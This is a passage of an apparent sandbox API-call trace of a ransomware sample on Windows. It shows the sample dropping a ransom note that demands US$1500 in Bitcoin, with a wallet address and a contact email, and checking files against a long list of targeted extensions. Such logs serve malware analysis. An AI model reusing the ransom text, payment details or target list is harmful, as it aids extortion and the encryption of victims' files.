(pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\*.*") returned="*.*" [0104.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\" [0104.893] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\") returned="" [0104.893] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\HOW TO DECRYPT FILES.txt" [0104.893] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\how to decrypt files.txt")) returned 0xffffffff [0104.893] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.894] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.894] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.896] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.896] CloseHandle (hObject=0x90) returned 1 [0104.896] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\", lpString2="System.Configuration.Install.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll" [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.ems") returned 0 [0104.896] lstrlenA (lpString="*.ems") returned 5 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.db") returned 0 [0104.896] lstrlenA (lpString="*.db") returned 4 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.dbf") returned 0 [0104.896] lstrlenA (lpString="*.dbf") returned 5 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.myox") returned 0 [0104.896] lstrlenA (lpString="*.myox") returned 6 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.myo") returned 0 [0104.896] lstrlenA (lpString="*.myo") returned 5 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbw") returned 0 [0104.896] lstrlenA (lpString="*.qbw") returned 5 [0104.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbb") returned 0 [0104.897] lstrlenA (lpString="*.qbb") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbm") returned 0 [0104.897] lstrlenA (lpString="*.qbm") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbo") returned 0 [0104.897] lstrlenA (lpString="*.qbo") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbx") returned 0 [0104.897] lstrlenA (lpString="*.qbx") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qba") returned 0 [0104.897] lstrlenA (lpString="*.qba") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qby") returned 0 [0104.897] lstrlenA (lpString="*.qby") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qbj") returned 0 [0104.897] lstrlenA (lpString="*.qbj") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.ofx") returned 0 [0104.897] lstrlenA (lpString="*.ofx") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.qif") returned 0 [0104.897] lstrlenA (lpString="*.qif") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mye") returned 0 [0104.897] lstrlenA (lpString="*.mye") returned 5 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mbox") returned 0 [0104.897] lstrlenA (lpString="*.mbox") returned 6 [0104.897] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.eml") returned 0 [0104.898] lstrlenA (lpString="*.eml") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.pst") returned 0 [0104.898] lstrlenA (lpString="*.pst") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.ost") returned 0 [0104.898] lstrlenA (lpString="*.ost") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.idx") returned 0 [0104.898] lstrlenA (lpString="*.idx") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.dbx") returned 0 [0104.898] lstrlenA (lpString="*.dbx") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.sql") returned 0 [0104.898] lstrlenA (lpString="*.sql") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mdb") returned 0 [0104.898] lstrlenA (lpString="*.mdb") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.fdb") returned 0 [0104.898] lstrlenA (lpString="*.fdb") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.wab") returned 0 [0104.898] lstrlenA (lpString="*.wab") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.dat") returned 0 [0104.898] lstrlenA (lpString="*.dat") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.txt") returned 0 [0104.898] lstrlenA (lpString="*.txt") returned 5 [0104.898] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.jpeg") returned 0 [0104.898] lstrlenA (lpString="*.jpeg") returned 6 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.jpg") returned 0 [0104.899] lstrlenA (lpString="*.jpg") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.png") returned 0 [0104.899] lstrlenA (lpString="*.png") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.php") returned 0 [0104.899] lstrlenA (lpString="*.php") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.cs") returned 0 [0104.899] lstrlenA (lpString="*.cs") returned 4 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.cpp") returned 0 [0104.899] lstrlenA (lpString="*.cpp") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.rar") returned 0 [0104.899] lstrlenA (lpString="*.rar") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.zip") returned 0 [0104.899] lstrlenA (lpString="*.zip") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.html") returned 0 [0104.899] lstrlenA (lpString="*.html") returned 6 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.htm") returned 0 [0104.899] lstrlenA (lpString="*.htm") returned 5 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.xlsx") returned 0 [0104.899] lstrlenA (lpString="*.xlsx") returned 6 [0104.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.xls") returned 0 [0104.900] lstrlenA (lpString="*.xls") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mp4") returned 0 [0104.900] lstrlenA (lpString="*.mp4") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.ppt") returned 0 [0104.900] lstrlenA (lpString="*.ppt") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.pptx") returned 0 [0104.900] lstrlenA (lpString="*.pptx") returned 6 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.doc") returned 0 [0104.900] lstrlenA (lpString="*.doc") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.dot") returned 0 [0104.900] lstrlenA (lpString="*.dot") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.docx") returned 0 [0104.900] lstrlenA (lpString="*.docx") returned 6 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.7z") returned 0 [0104.900] lstrlenA (lpString="*.7z") returned 4 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.tar") returned 0 [0104.900] lstrlenA (lpString="*.tar") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.bz2") returned 0 [0104.900] lstrlenA (lpString="*.bz2") returned 5 [0104.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.gz") returned 0 [0104.900] lstrlenA (lpString="*.gz") returned 4 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mkv") returned 0 [0104.901] lstrlenA (lpString="*.mkv") returned 5 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.eml") returned 0 [0104.901] lstrlenA (lpString="*.eml") returned 5 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.msg") returned 0 [0104.901] lstrlenA (lpString="*.msg") returned 5 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.edb") returned 0 [0104.901] lstrlenA (lpString="*.edb") returned 5 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.accdb") returned 0 [0104.901] lstrlenA (lpString="*.accdb") returned 7 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.odb") returned 0 [0104.901] lstrlenA (lpString="*.odb") returned 5 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.java") returned 0 [0104.901] lstrlenA (lpString="*.java") returned 6 [0104.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.asm") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.pfx") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.pem") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.p12") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.gpg") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.vsd") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.odg") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.raw") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.nef") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.svg") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.psd") returned 0 [0104.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.vmx") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.vmdk") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.vdi") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.lay6") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mpeg") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.djvu") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.tiff") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.backup") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.pdf") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.cert") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.docm") returned 0 [0104.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.xlsm") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.dwg") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.nd") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.tlg") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.lgb") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mov") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.xdw") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.ods") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.wav") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.mp3") returned 0 [0104.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.aiff") returned 0 [0104.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.flac") returned 0 [0104.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.m4a") returned 0 [0104.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll", pszSpec="*.csv") returned 0 [0104.905] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188a0882, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188a0882, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188a0882, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.905] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f02737c83305687a68c088927a6c5a98", cAlternateFileName="F02737~1")) returned 0 [0104.905] FindClose (in: 